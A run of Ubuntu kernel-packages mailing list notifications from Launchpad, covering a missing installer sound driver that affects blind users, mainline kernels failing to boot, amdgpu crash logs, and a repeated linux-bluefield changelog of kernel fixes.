[Kernel-packages] [Bug 1950099] Re: Accessibility. No sound sof-firmware driver when installing ubuntu mate 21.10 on HP Pavilion Laptop PC 15-eg0000 (172Z8AV)
Hello, I could find out that there is a sound driver for the laptop. The issue is in the zero volume when installer is enabled, so a user can change it only if he has a braille display. Please fix the zero volume issue in the installer, I believe it was already reported. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950099 Title: Accessibility. No sound sof-firmware driver when installing ubuntu mate 21.10 on HP Pavilion Laptop PC 15-eg (172Z8AV) Status in linux package in Ubuntu: Incomplete Bug description: When installing ubuntu mate 21.10, there are no sof-firmware drivers in the installer. As the result, a totally blind user who uses a screen reader for installation cannot install ubuntu mate 21.10 on his machine. However, this issue doesn't happen on ubuntu 20.04 LTS. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1950099/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1942684] Re: Kernel 5.14.X / 5.13.14 fails to boot
Fails for me too 5.15.1 on Penryn, Ivybridge, Haswell and guest VMs on Zen3. I had to rebuild the kernel from kernel.org using the config from Ubuntu Mainline but disabling the debian pem certs and "CONFIG_UBSAN_TRAP". After that it worked on all the above architectures. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1942684 Title: Kernel 5.14.X / 5.13.14 fails to boot Status in linux package in Ubuntu: Confirmed Bug description: I have been testing kernels 5.14.0 and 5.14.1 since their release on https://kernel.ubuntu.com/~kernel-ppa/mainline/ and my machine fails to boot with either one. However, I am able to boot just fine with 5.14.0-rc7. journalctl -b output attached with 5.14.1 Motherboard: MSI X570 Tomahawk CPU: AMD 5900X GPU: AsusTek 6800XT OS: Hirsute 21.04 --- ProblemType: Bug ApportVersion: 2.20.11-0ubuntu65.1 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: ubuntu:GNOME DistroRelease: Ubuntu 21.04 InstallationDate: Installed on 2021-07-04 (62 days ago) InstallationMedia: Ubuntu 21.04 "Hirsute Hippo" - Release amd64 (20210420) Package: linux (not installed) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash Tags: wayland-session hirsute Uname: Linux 5.14.0-051400rc6-generic x86_64 UnreportableReason: The running kernel is not an Ubuntu kernel UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin lxd plugdev sambashare sudo _MarkForUpload: True To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1942684/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1949395] Re: [RFE] Add zstd support for makedumpfile and use it by default
** Changed in: makedumpfile (Ubuntu) Status: New => In Progress ** Changed in: makedumpfile (Ubuntu) Assignee: (unassigned) => dann frazier (dannf) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to makedumpfile in Ubuntu. https://bugs.launchpad.net/bugs/1949395 Title: [RFE] Add zstd support for makedumpfile and use it by default Status in makedumpfile package in Ubuntu: In Progress Bug description: Recently makedumpfile had zstd[0] support added upstream[1]. My suggestion here is to backport this work for Debian/Ubuntu and use it as default (starting for example in 22.04), since it has a better compression time and similar or even better compression rate. In [1] there are good experiments, but I did a simple experiment in a small VM (2G of RAM, idle) using Debian 11 (results in the first comment]. I'll open a Debian bug as well. Thanks in advance, Guilherme [0] https://en.wikipedia.org/wiki/Zstandard [1] http://lists.infradead.org/pipermail/kexec/2021-September/023011.html To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/makedumpfile/+bug/1949395/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1950205] Status changed to Confirmed
This change was made by a bot. ** Changed in: linux (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950205 Title: Some shaders can crash the amdgpu kernel module, tainting Status in linux package in Ubuntu: Confirmed Bug description: Hi there, I am experiencing, at random, the AMD-GPU "fences timed out!" bug reported previously as being either a kernel issue (https://bugzilla.kernel.org/show_bug.cgi?id=213145) or a mesa (https://gitlab.freedesktop.org/mesa/mesa/-/issues/4866) issue. The later was apparently fixed in 21.2.4 -- I have experienced it both on the stock mesa package versions current in play in 21.10 and the "bleeding edge" git-based builds. It is difficult to reproduce deterministically. For me, at present, roleplaying game Pathfinder: Wrath of the Righteous running under proton with Lutris (0.5.8.3/wine version lutris-fshack-6.14-3-x86_64 with DXVK v1.8.1L) triggers far more infrequently on the lowest graphics settings, but occasionally absolutely deterministically at certain points (I have a save game that can do this in the highly unlikely event that anyone wants to take me up on the issue and has the GOG game -- email me at jack.mil...@physics.org). This manifests as extreme screen corruption requiring a restart of at a minimum lightdm to fix, and more likely the whole computer. Memory issues can occur either on the card or on the host, namely: [ 1208.225974] [drm:amdgpu_dm_commit_planes [amdgpu]] *ERROR* Waiting for fences timed out! [ 1213.01] [drm:amdgpu_job_timedout [amdgpu]] *ERROR* ring gfx timeout, signaled seq=112591, emitted seq=112593 [ 1213.100119] [drm:amdgpu_job_timedout [amdgpu]] *ERROR* Process information: process Wrath.exe pid 18793 thread Wrath.exe pid 18984 [ 1213.100224] amdgpu :08:00.0: amdgpu: GPU reset begin! [ 1213.349988] [drm:amdgpu_dm_commit_planes [amdgpu]] *ERROR* Waiting for fences timed out! [ 1213.350131] [drm:dce110_vblank_set [amdgpu]] *ERROR* Failed to get VBLANK! [ 1213.509424] amdgpu: cp is busy, skip halt cp [ 1213.95] amdgpu: rlc is busy, skip halt rlc [ 1213.778816] amdgpu :08:00.0: amdgpu: BACO reset [ 1214.425001] amdgpu :08:00.0: amdgpu: GPU reset succeeded, trying to resume [ 1214.427319] [drm] PCIE GART of 256M enabled (table at 0x00F4007E9000). [ 1214.427335] [drm] VRAM is lost due to GPU reset! [ 1214.600175] [ cut here ] [ 1214.600178] amdgpu :08:00.0: drm_WARN_ON(atomic_read(>refcount) == 0) [ 1214.600244] WARNING: CPU: 7 PID: 0 at drivers/gpu/drm/drm_vblank.c:1210 drm_vblank_put+0xef/0x100 [drm] [ 1214.600274] Modules linked in: xfrm_user xfrm_algo xt_addrtype br_netfilter vboxnetadp(OE) vboxnetflt(OE) vboxdrv(OE) rfcomm ashmem_linux(C) binder_linux iptable_mangle xt_comment iptable_nat iptable_filter bpfilter xt_CHECKSUM xt_MASQUERADE ipt_REJECT nf_reject_ipv4 nf_conntrack_netlink xt_conntrack nft_chain_nat nf_nat xt_NFQUEUE xt_tcpudp nf_conntrack nft_compat nf_defrag_ipv6 nf_defrag_ipv4 tcp_diag inet_diag nft_counter nfnetlink_queue nf_tables nfnetlink bridge stp llc cmac algif_hash algif_skcipher af_alg bnep overlay binfmt_misc nls_iso8859_1 zfs(PO) zunicode(PO) zzstd(O) zlua(O) zavl(PO) icp(PO) zcommon(PO) snd_hda_codec_realtek intel_rapl_msr znvpair(PO) snd_hda_codec_generic intel_rapl_common spl(O) ledtrig_audio snd_hda_codec_hdmi edac_mce_amd snd_hda_intel snd_intel_dspcfg snd_intel_sdw_acpi snd_hda_codec kvm_amd snd_hda_core btusb ath9k snd_hwdep btrtl kvm ath9k_common snd_pcm btbcm btintel ath9k_hw snd_seq_midi rapl bluetooth snd_seq_midi_event ath snd_rawmidi [ 1214.600304] ecdh_generic joydev mac80211 snd_seq ecc input_leds snd_seq_device apple_mfi_fastcharge snd_timer snd eeepc_wmi soundcore ccp efi_pstore wmi_bmof cfg80211 k10temp libarc4 mac_hid sch_fq_codel nct6775 hwmon_vid msr nfsd parport_pc ppdev auth_rpcgss lp nfs_acl parport lockd grace sunrpc ip_tables x_tables autofs4 btrfs blake2b_generic zstd_compress dm_crypt raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor raid6_pq libcrc32c raid1 raid0 multipath linear hid_logitech_dj hid_apple hid_logitech_hidpp hid_generic usbhid hid mfd_aaeon asus_wmi sparse_keymap amdgpu video iommu_v2 gpu_sched i2c_algo_bit drm_ttm_helper ttm crct10dif_pclmul crc32_pclmul ghash_clmulni_intel drm_kms_helper syscopyarea aesni_intel sysfillrect sysimgblt fb_sys_fops cec crypto_simd rc_core cryptd drm r8169 ahci i2c_piix4 xhci_pci libahci xhci_pci_renesas realtek wmi [ 1214.600336] CPU: 7 PID: 0 Comm: swapper/7 Tainted: P C OE 5.13.0-21-generic #21-Ubuntu [ 1214.600337] Hardware name: System manufacturer System Product Name/TUF GAMING X570-PLUS, BIOS 1201 09/09/2019 [ 1214.600339] RIP: 0010:drm_vblank_put+0xef/0x100 [drm] [
[Kernel-packages] [Bug 1950205] [NEW] Some shaders can crash the amdgpu kernel module, tainting
Public bug reported: Hi there, I am experiencing, at random, the AMD-GPU "fences timed out!" bug reported previously as being either a kernel issue (https://bugzilla.kernel.org/show_bug.cgi?id=213145) or a mesa (https://gitlab.freedesktop.org/mesa/mesa/-/issues/4866) issue. The later was apparently fixed in 21.2.4 -- I have experienced it both on the stock mesa package versions current in play in 21.10 and the "bleeding edge" git-based builds. It is difficult to reproduce deterministically. For me, at present, roleplaying game Pathfinder: Wrath of the Righteous running under proton with Lutris (0.5.8.3/wine version lutris-fshack-6.14-3-x86_64 with DXVK v1.8.1L) triggers far more infrequently on the lowest graphics settings, but occasionally absolutely deterministically at certain points (I have a save game that can do this in the highly unlikely event that anyone wants to take me up on the issue and has the GOG game -- email me at jack.mil...@physics.org). This manifests as extreme screen corruption requiring a restart of at a minimum lightdm to fix, and more likely the whole computer. Memory issues can occur either on the card or on the host, namely: [ 1208.225974] [drm:amdgpu_dm_commit_planes [amdgpu]] *ERROR* Waiting for fences timed out! [ 1213.01] [drm:amdgpu_job_timedout [amdgpu]] *ERROR* ring gfx timeout, signaled seq=112591, emitted seq=112593 [ 1213.100119] [drm:amdgpu_job_timedout [amdgpu]] *ERROR* Process information: process Wrath.exe pid 18793 thread Wrath.exe pid 18984 [ 1213.100224] amdgpu :08:00.0: amdgpu: GPU reset begin! [ 1213.349988] [drm:amdgpu_dm_commit_planes [amdgpu]] *ERROR* Waiting for fences timed out! [ 1213.350131] [drm:dce110_vblank_set [amdgpu]] *ERROR* Failed to get VBLANK! [ 1213.509424] amdgpu: cp is busy, skip halt cp [ 1213.95] amdgpu: rlc is busy, skip halt rlc [ 1213.778816] amdgpu :08:00.0: amdgpu: BACO reset [ 1214.425001] amdgpu :08:00.0: amdgpu: GPU reset succeeded, trying to resume [ 1214.427319] [drm] PCIE GART of 256M enabled (table at 0x00F4007E9000). [ 1214.427335] [drm] VRAM is lost due to GPU reset! [ 1214.600175] [ cut here ] [ 1214.600178] amdgpu :08:00.0: drm_WARN_ON(atomic_read(>refcount) == 0) [ 1214.600244] WARNING: CPU: 7 PID: 0 at drivers/gpu/drm/drm_vblank.c:1210 drm_vblank_put+0xef/0x100 [drm] [ 1214.600274] Modules linked in: xfrm_user xfrm_algo xt_addrtype br_netfilter vboxnetadp(OE) vboxnetflt(OE) vboxdrv(OE) rfcomm ashmem_linux(C) binder_linux iptable_mangle xt_comment iptable_nat iptable_filter bpfilter xt_CHECKSUM xt_MASQUERADE ipt_REJECT nf_reject_ipv4 nf_conntrack_netlink xt_conntrack nft_chain_nat nf_nat xt_NFQUEUE xt_tcpudp nf_conntrack nft_compat nf_defrag_ipv6 nf_defrag_ipv4 tcp_diag inet_diag nft_counter nfnetlink_queue nf_tables nfnetlink bridge stp llc cmac algif_hash algif_skcipher af_alg bnep overlay binfmt_misc nls_iso8859_1 zfs(PO) zunicode(PO) zzstd(O) zlua(O) zavl(PO) icp(PO) zcommon(PO) snd_hda_codec_realtek intel_rapl_msr znvpair(PO) snd_hda_codec_generic intel_rapl_common spl(O) ledtrig_audio snd_hda_codec_hdmi edac_mce_amd snd_hda_intel snd_intel_dspcfg snd_intel_sdw_acpi snd_hda_codec kvm_amd snd_hda_core btusb ath9k snd_hwdep btrtl kvm ath9k_common snd_pcm btbcm btintel ath9k_hw snd_seq_midi rapl bluetooth snd_seq_midi_event ath snd_rawmidi [ 1214.600304] ecdh_generic joydev mac80211 snd_seq ecc input_leds snd_seq_device apple_mfi_fastcharge snd_timer snd eeepc_wmi soundcore ccp efi_pstore wmi_bmof cfg80211 k10temp libarc4 mac_hid sch_fq_codel nct6775 hwmon_vid msr nfsd parport_pc ppdev auth_rpcgss lp nfs_acl parport lockd grace sunrpc ip_tables x_tables autofs4 btrfs blake2b_generic zstd_compress dm_crypt raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor raid6_pq libcrc32c raid1 raid0 multipath linear hid_logitech_dj hid_apple hid_logitech_hidpp hid_generic usbhid hid mfd_aaeon asus_wmi sparse_keymap amdgpu video iommu_v2 gpu_sched i2c_algo_bit drm_ttm_helper ttm crct10dif_pclmul crc32_pclmul ghash_clmulni_intel drm_kms_helper syscopyarea aesni_intel sysfillrect sysimgblt fb_sys_fops cec crypto_simd rc_core cryptd drm r8169 ahci i2c_piix4 xhci_pci libahci xhci_pci_renesas realtek wmi [ 1214.600336] CPU: 7 PID: 0 Comm: swapper/7 Tainted: P C OE 5.13.0-21-generic #21-Ubuntu [ 1214.600337] Hardware name: System manufacturer System Product Name/TUF GAMING X570-PLUS, BIOS 1201 09/09/2019 [ 1214.600339] RIP: 0010:drm_vblank_put+0xef/0x100 [drm] [ 1214.600353] Code: 8b 7f 08 4c 8b 67 50 4d 85 e4 74 22 e8 ea 55 ef d7 48 c7 c1 d8 22 4e c0 4c 89 e2 48 c7 c7 75 d5 4d c0 48 89 c6 e8 c0 75 31 d8 <0f> 0b eb 8a 4c 8b 27 eb d9 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 [ 1214.600354] RSP: 0018:a654803a8d78 EFLAGS: 00010086 [ 1214.600356] RAX: RBX: 94289d0a RCX: 0027 [ 1214.600357] RDX: 942f7ebd89c8 RSI: 0001 RDI: 942f7ebd89c0 [ 1214.600358] RBP:
[Kernel-packages] [Bug 1946266] Re: Add psample tunnel support and also two fixes for psample issues.
This bug was fixed in the package linux-bluefield - 5.4.0-1021.24 --- linux-bluefield (5.4.0-1021.24) focal; urgency=medium * focal/linux-bluefield: 5.4.0-1021.24 -proposed tracker (LP: #1947236) * Packaging resync (LP: #1786013) - [Packaging] update Ubuntu.md * Add psample tunnel support and also two fixes for psample issues. (LP: #1946266) - net: psample: Add tunnel support - net: psample: fix build error when CONFIG_INET is not enabled - net: psample: Fix netlink skb length with tunnel info - psample: Fix user API breakage * Fix ignoring ct state match of OVS offload to TC/HW (LP: #1944390) - netlink: add mask validation - net/sched: cls_flower: Reject invalid ct_state flags rules - net/sched: cls_flower: validate ct_state for invalid and reply flags - net/sched: cls_flower: fix only mask bit check in the validate_ct_state * Fix byte count on fragmented packets in tc ct action (LP: #1946393) - net/sched: act_ct: add miss tcf_lastuse_update. - SAUCE: net/sched: act_ct: Fix byte count on fragmented packets [ Ubuntu: 5.4.0-90.101 ] * focal/linux: 5.4.0-90.101 -proposed tracker (LP: #1947260) * Packaging resync (LP: #1786013) - debian/dkms-versions -- update from kernel-versions (main/2021.10.18) * Add final-checks to check certificates (LP: #1947174) - [Packaging] Add system trusted and revocation keys final check * No sound on Lenovo laptop models Legion 15IMHG05, Yoga 7 14ITL5, and 13s Gen2 (LP: #1939052) - ALSA: hda/realtek: Quirks to enable speaker output for Lenovo Legion 7i 15IMHG05, Yoga 7i 14ITL5/15ITL5, and 13s Gen2 laptops. - ALSA: hda/realtek: Fix for quirk to enable speaker output on the Lenovo 13s Gen2 * CVE-2020-36385 - RDMA/cma: Add missing locking to rdma_accept() - RDMA/ucma: Fix the locking of ctx->file - RDMA/ucma: Rework ucma_migrate_id() to avoid races with destroy * Focal update: v5.4.148 upstream stable release (LP: #1946802) - rtc: tps65910: Correct driver module alias - btrfs: wake up async_delalloc_pages waiters after submit - btrfs: reset replace target device to allocation state on close - blk-zoned: allow zone management send operations without CAP_SYS_ADMIN - blk-zoned: allow BLKREPORTZONE without CAP_SYS_ADMIN - PCI/MSI: Skip masking MSI-X on Xen PV - powerpc/perf/hv-gpci: Fix counter value parsing - xen: fix setting of max_pfn in shared_info - include/linux/list.h: add a macro to test if entry is pointing to the head - 9p/xen: Fix end of loop tests for list_for_each_entry - tools/thermal/tmon: Add cross compiling support - pinctrl: stmfx: Fix hazardous u8[] to unsigned long cast - pinctrl: ingenic: Fix incorrect pull up/down info - soc: qcom: aoss: Fix the out of bound usage of cooling_devs - soc: aspeed: lpc-ctrl: Fix boundary check for mmap - soc: aspeed: p2a-ctrl: Fix boundary check for mmap - arm64: head: avoid over-mapping in map_memory - crypto: public_key: fix overflow during implicit conversion - block: bfq: fix bfq_set_next_ioprio_data() - power: supply: max17042: handle fails of reading status register - dm crypt: Avoid percpu_counter spinlock contention in crypt_page_alloc() - VMCI: fix NULL pointer dereference when unmapping queue pair - media: uvc: don't do DMA on stack - media: rc-loopback: return number of emitters rather than error - Revert "dmaengine: imx-sdma: refine to load context only once" - dmaengine: imx-sdma: remove duplicated sdma_load_context - libata: add ATA_HORKAGE_NO_NCQ_TRIM for Samsung 860 and 870 SSDs - ARM: 9105/1: atags_to_fdt: don't warn about stack size - PCI/portdrv: Enable Bandwidth Notification only if port supports it - PCI: Restrict ASMedia ASM1062 SATA Max Payload Size Supported - PCI: Return ~0 data on pciconfig_read() CAP_SYS_ADMIN failure - PCI: xilinx-nwl: Enable the clock through CCF - PCI: aardvark: Fix checking for PIO status - PCI: aardvark: Increase polling delay to 1.5s while waiting for PIO response - PCI: aardvark: Fix masking and unmasking legacy INTx interrupts - HID: input: do not report stylus battery state as "full" - f2fs: quota: fix potential deadlock - scsi: bsg: Remove support for SCSI_IOCTL_SEND_COMMAND - IB/hfi1: Adjust pkey entry in index 0 - RDMA/iwcm: Release resources if iw_cm module initialization fails - docs: Fix infiniband uverbs minor number - pinctrl: samsung: Fix pinctrl bank pin count - vfio: Use config not menuconfig for VFIO_NOIOMMU - powerpc/stacktrace: Include linux/delay.h - RDMA/efa: Remove double QP type assignment - f2fs: show f2fs instance in printk_ratelimited - f2fs: reduce the scope of setting fsck tag when de->name_len is zero - openrisc: don't printk() unconditionally - dma-debug: fix debugfs initialization order - SUNRPC: Fix potential memory
[Kernel-packages] [Bug 1944390] Re: Fix ignoring ct state match of OVS offload to TC/HW
This bug was fixed in the package linux-bluefield - 5.4.0-1021.24 --- linux-bluefield (5.4.0-1021.24) focal; urgency=medium * focal/linux-bluefield: 5.4.0-1021.24 -proposed tracker (LP: #1947236) * Packaging resync (LP: #1786013) - [Packaging] update Ubuntu.md * Add psample tunnel support and also two fixes for psample issues. (LP: #1946266) - net: psample: Add tunnel support - net: psample: fix build error when CONFIG_INET is not enabled - net: psample: Fix netlink skb length with tunnel info - psample: Fix user API breakage * Fix ignoring ct state match of OVS offload to TC/HW (LP: #1944390) - netlink: add mask validation - net/sched: cls_flower: Reject invalid ct_state flags rules - net/sched: cls_flower: validate ct_state for invalid and reply flags - net/sched: cls_flower: fix only mask bit check in the validate_ct_state * Fix byte count on fragmented packets in tc ct action (LP: #1946393) - net/sched: act_ct: add miss tcf_lastuse_update. - SAUCE: net/sched: act_ct: Fix byte count on fragmented packets [ Ubuntu: 5.4.0-90.101 ] * focal/linux: 5.4.0-90.101 -proposed tracker (LP: #1947260) * Packaging resync (LP: #1786013) - debian/dkms-versions -- update from kernel-versions (main/2021.10.18) * Add final-checks to check certificates (LP: #1947174) - [Packaging] Add system trusted and revocation keys final check * No sound on Lenovo laptop models Legion 15IMHG05, Yoga 7 14ITL5, and 13s Gen2 (LP: #1939052) - ALSA: hda/realtek: Quirks to enable speaker output for Lenovo Legion 7i 15IMHG05, Yoga 7i 14ITL5/15ITL5, and 13s Gen2 laptops. - ALSA: hda/realtek: Fix for quirk to enable speaker output on the Lenovo 13s Gen2 * CVE-2020-36385 - RDMA/cma: Add missing locking to rdma_accept() - RDMA/ucma: Fix the locking of ctx->file - RDMA/ucma: Rework ucma_migrate_id() to avoid races with destroy * Focal update: v5.4.148 upstream stable release (LP: #1946802) - rtc: tps65910: Correct driver module alias - btrfs: wake up async_delalloc_pages waiters after submit - btrfs: reset replace target device to allocation state on close - blk-zoned: allow zone management send operations without CAP_SYS_ADMIN - blk-zoned: allow BLKREPORTZONE without CAP_SYS_ADMIN - PCI/MSI: Skip masking MSI-X on Xen PV - powerpc/perf/hv-gpci: Fix counter value parsing - xen: fix setting of max_pfn in shared_info - include/linux/list.h: add a macro to test if entry is pointing to the head - 9p/xen: Fix end of loop tests for list_for_each_entry - tools/thermal/tmon: Add cross compiling support - pinctrl: stmfx: Fix hazardous u8[] to unsigned long cast - pinctrl: ingenic: Fix incorrect pull up/down info - soc: qcom: aoss: Fix the out of bound usage of cooling_devs - soc: aspeed: lpc-ctrl: Fix boundary check for mmap - soc: aspeed: p2a-ctrl: Fix boundary check for mmap - arm64: head: avoid over-mapping in map_memory - crypto: public_key: fix overflow during implicit conversion - block: bfq: fix bfq_set_next_ioprio_data() - power: supply: max17042: handle fails of reading status register - dm crypt: Avoid percpu_counter spinlock contention in crypt_page_alloc() - VMCI: fix NULL pointer dereference when unmapping queue pair - media: uvc: don't do DMA on stack - media: rc-loopback: return number of emitters rather than error - Revert "dmaengine: imx-sdma: refine to load context only once" - dmaengine: imx-sdma: remove duplicated sdma_load_context - libata: add ATA_HORKAGE_NO_NCQ_TRIM for Samsung 860 and 870 SSDs - ARM: 9105/1: atags_to_fdt: don't warn about stack size - PCI/portdrv: Enable Bandwidth Notification only if port supports it - PCI: Restrict ASMedia ASM1062 SATA Max Payload Size Supported - PCI: Return ~0 data on pciconfig_read() CAP_SYS_ADMIN failure - PCI: xilinx-nwl: Enable the clock through CCF - PCI: aardvark: Fix checking for PIO status - PCI: aardvark: Increase polling delay to 1.5s while waiting for PIO response - PCI: aardvark: Fix masking and unmasking legacy INTx interrupts - HID: input: do not report stylus battery state as "full" - f2fs: quota: fix potential deadlock - scsi: bsg: Remove support for SCSI_IOCTL_SEND_COMMAND - IB/hfi1: Adjust pkey entry in index 0 - RDMA/iwcm: Release resources if iw_cm module initialization fails - docs: Fix infiniband uverbs minor number - pinctrl: samsung: Fix pinctrl bank pin count - vfio: Use config not menuconfig for VFIO_NOIOMMU - powerpc/stacktrace: Include linux/delay.h - RDMA/efa: Remove double QP type assignment - f2fs: show f2fs instance in printk_ratelimited - f2fs: reduce the scope of setting fsck tag when de->name_len is zero - openrisc: don't printk() unconditionally - dma-debug: fix debugfs initialization order - SUNRPC: Fix potential memory
[Kernel-packages] [Bug 1946393] Re: Fix byte count on fragmented packets in tc ct action
This bug was fixed in the package linux-bluefield - 5.4.0-1021.24 --- linux-bluefield (5.4.0-1021.24) focal; urgency=medium * focal/linux-bluefield: 5.4.0-1021.24 -proposed tracker (LP: #1947236) * Packaging resync (LP: #1786013) - [Packaging] update Ubuntu.md * Add psample tunnel support and also two fixes for psample issues. (LP: #1946266) - net: psample: Add tunnel support - net: psample: fix build error when CONFIG_INET is not enabled - net: psample: Fix netlink skb length with tunnel info - psample: Fix user API breakage * Fix ignoring ct state match of OVS offload to TC/HW (LP: #1944390) - netlink: add mask validation - net/sched: cls_flower: Reject invalid ct_state flags rules - net/sched: cls_flower: validate ct_state for invalid and reply flags - net/sched: cls_flower: fix only mask bit check in the validate_ct_state * Fix byte count on fragmented packets in tc ct action (LP: #1946393) - net/sched: act_ct: add miss tcf_lastuse_update. - SAUCE: net/sched: act_ct: Fix byte count on fragmented packets [ Ubuntu: 5.4.0-90.101 ] * focal/linux: 5.4.0-90.101 -proposed tracker (LP: #1947260) * Packaging resync (LP: #1786013) - debian/dkms-versions -- update from kernel-versions (main/2021.10.18) * Add final-checks to check certificates (LP: #1947174) - [Packaging] Add system trusted and revocation keys final check * No sound on Lenovo laptop models Legion 15IMHG05, Yoga 7 14ITL5, and 13s Gen2 (LP: #1939052) - ALSA: hda/realtek: Quirks to enable speaker output for Lenovo Legion 7i 15IMHG05, Yoga 7i 14ITL5/15ITL5, and 13s Gen2 laptops. - ALSA: hda/realtek: Fix for quirk to enable speaker output on the Lenovo 13s Gen2 * CVE-2020-36385 - RDMA/cma: Add missing locking to rdma_accept() - RDMA/ucma: Fix the locking of ctx->file - RDMA/ucma: Rework ucma_migrate_id() to avoid races with destroy * Focal update: v5.4.148 upstream stable release (LP: #1946802) - rtc: tps65910: Correct driver module alias - btrfs: wake up async_delalloc_pages waiters after submit - btrfs: reset replace target device to allocation state on close - blk-zoned: allow zone management send operations without CAP_SYS_ADMIN - blk-zoned: allow BLKREPORTZONE without CAP_SYS_ADMIN - PCI/MSI: Skip masking MSI-X on Xen PV - powerpc/perf/hv-gpci: Fix counter value parsing - xen: fix setting of max_pfn in shared_info - include/linux/list.h: add a macro to test if entry is pointing to the head - 9p/xen: Fix end of loop tests for list_for_each_entry - tools/thermal/tmon: Add cross compiling support - pinctrl: stmfx: Fix hazardous u8[] to unsigned long cast - pinctrl: ingenic: Fix incorrect pull up/down info - soc: qcom: aoss: Fix the out of bound usage of cooling_devs - soc: aspeed: lpc-ctrl: Fix boundary check for mmap - soc: aspeed: p2a-ctrl: Fix boundary check for mmap - arm64: head: avoid over-mapping in map_memory - crypto: public_key: fix overflow during implicit conversion - block: bfq: fix bfq_set_next_ioprio_data() - power: supply: max17042: handle fails of reading status register - dm crypt: Avoid percpu_counter spinlock contention in crypt_page_alloc() - VMCI: fix NULL pointer dereference when unmapping queue pair - media: uvc: don't do DMA on stack - media: rc-loopback: return number of emitters rather than error - Revert "dmaengine: imx-sdma: refine to load context only once" - dmaengine: imx-sdma: remove duplicated sdma_load_context - libata: add ATA_HORKAGE_NO_NCQ_TRIM for Samsung 860 and 870 SSDs - ARM: 9105/1: atags_to_fdt: don't warn about stack size - PCI/portdrv: Enable Bandwidth Notification only if port supports it - PCI: Restrict ASMedia ASM1062 SATA Max Payload Size Supported - PCI: Return ~0 data on pciconfig_read() CAP_SYS_ADMIN failure - PCI: xilinx-nwl: Enable the clock through CCF - PCI: aardvark: Fix checking for PIO status - PCI: aardvark: Increase polling delay to 1.5s while waiting for PIO response - PCI: aardvark: Fix masking and unmasking legacy INTx interrupts - HID: input: do not report stylus battery state as "full" - f2fs: quota: fix potential deadlock - scsi: bsg: Remove support for SCSI_IOCTL_SEND_COMMAND - IB/hfi1: Adjust pkey entry in index 0 - RDMA/iwcm: Release resources if iw_cm module initialization fails - docs: Fix infiniband uverbs minor number - pinctrl: samsung: Fix pinctrl bank pin count - vfio: Use config not menuconfig for VFIO_NOIOMMU - powerpc/stacktrace: Include linux/delay.h - RDMA/efa: Remove double QP type assignment - f2fs: show f2fs instance in printk_ratelimited - f2fs: reduce the scope of setting fsck tag when de->name_len is zero - openrisc: don't printk() unconditionally - dma-debug: fix debugfs initialization order - SUNRPC: Fix potential memory
[Kernel-packages] [Bug 1942684] Re: Kernel 5.14.X / 5.13.14 fails to boot
Seems Ubuntu Mainline Kernel team doesn't hear us as 5.15.1 still fails to boot but they're don't care about it. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1942684 Title: Kernel 5.14.X / 5.13.14 fails to boot Status in linux package in Ubuntu: Confirmed Bug description: I have been testing kernels 5.14.0 and 5.14.1 since their release on https://kernel.ubuntu.com/~kernel-ppa/mainline/ and my machine fails to boot with either one. However, I am able to boot just fine with 5.14.0-rc7. journalctl -b output attached with 5.14.1 Motherboard: MSI X570 Tomahawk CPU: AMD 5900X GPU: AsusTek 6800XT OS: Hirsute 21.04 --- ProblemType: Bug ApportVersion: 2.20.11-0ubuntu65.1 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: ubuntu:GNOME DistroRelease: Ubuntu 21.04 InstallationDate: Installed on 2021-07-04 (62 days ago) InstallationMedia: Ubuntu 21.04 "Hirsute Hippo" - Release amd64 (20210420) Package: linux (not installed) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash Tags: wayland-session hirsute Uname: Linux 5.14.0-051400rc6-generic x86_64 UnreportableReason: The running kernel is not an Ubuntu kernel UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin lxd plugdev sambashare sudo _MarkForUpload: True To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1942684/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1942377] Re: Linux 5.15/5.14/4.13.14 fails to boot
